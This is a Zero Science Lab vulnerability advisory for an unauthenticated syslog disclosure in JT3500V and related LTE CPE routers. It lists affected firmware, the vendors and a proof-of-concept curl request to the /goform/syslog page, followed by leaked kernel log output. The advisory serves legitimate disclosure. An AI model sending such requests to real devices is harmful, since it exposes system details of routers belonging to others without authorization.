KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Log Disclosure Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd. Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk http://www.jatontec.com/products/show.php?itemid=258 http://www.jatontech.com/CAT12.html#_pp=105_564 http://www.kzbtech.com/AM3300V.html https://neotel.mk/ostanati-paketi-2/ Affected version: Model | Firmware -------|--------- JT3500V | 2.0.1B1064 JT3300V | 2.0.1B1047 AM6200M | 2.0.0B3210 AM6000N | 2.0.0B3042 AM5000W | 2.0.0B3037 AM4200M | 2.0.0B2996 AM4100V | 2.0.0B2988 AM3500MW | 2.0.0B1092 AM3410V | 2.0.0B1085 AM3300V | 2.0.0B1060 AM3100E | 2.0.0B981 AM3100V | 2.0.0B946 AM3000M | 2.0.0B21 KZ7621U | 2.0.0B14 KZ3220M | 2.0.0B04 KZ3120R | 2.0.0B01 Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi & VoIP CPE product specially designed to enable quick and easy LTE fixed data service deployment for residential and SOHO customers. It provides high speed LAN, Wi-Fi and VoIP integrated services to end users who need both bandwidth and multi-media data service in residential homes or enterprises. The device has 2 Gigabit LAN ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing and firewall software for security. It provides an effective all-in-one solution to SOHO or residential customers. It can deliver up to 1Gbps max data throughput which can be very competitive to wired broadband access service. Desc: The unprotected web management server is vulnerable to sensitive information disclosure vulnerability. An unauthenticated attacker can visit the syslog page and disclose the webserver's log file containing system information running on the device. Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN Linux 2.6.36+ (mips) Mediatek APSoC SDK v4.3.1.0 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5641 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5641.php 03.02.2021 -- $ curl -sk https://192.168.1.1/goform/syslog 00:00:17 CPE user.warn kernel: mtd .name = raspi, .size = 0x02000000 (0M) .erasesize = 0x00000020 (0K) .numeraseregions = 65536 May 23 00:00:17 CPE user.notice kernel: Creating 6 MTD partitions on "raspi": May 23 00:00:17 CPE user.notice kernel: 0x000000000000-0x000002000000 : "ALL" May 23 00:00:17 CPE user.notice kernel: 0x000000000000-0x000000040000 : "Bootloader" May 23 00:00:17 CPE user.notice kernel: 0x000000040000-0x0000000e0000 : "Config" May 23 00:00:17 CPE user.notice kernel: 0x0000000e0000-0x000000100000 : "Factory" May 23 00:00:17 CPE user.notice kernel: 0x000000100000-0x000001080000 : "Kernel" May 23 00:00:17 CPE user.notice kernel: 0x000001080000-0x000002000000 : "Kernel2" May 23 00:00:17 CPE user.warn kernel: rdm_major = 241 May 23 00:00:17 CPE user.warn kernel: SMACCR1 -- : 0x00006cad May 23 00:00:17 CPE user.warn kernel: SMACCR0 -- : 0xef150389 May 23 00:00:17 CPE user.warn kernel: Ralink APSoC Ethernet Driver Initilization. v3.0 256 rx/tx descriptors allocated, mtu = 1500! May 23 00:00:17 CPE user.warn kernel: SMACCR1 – ... ...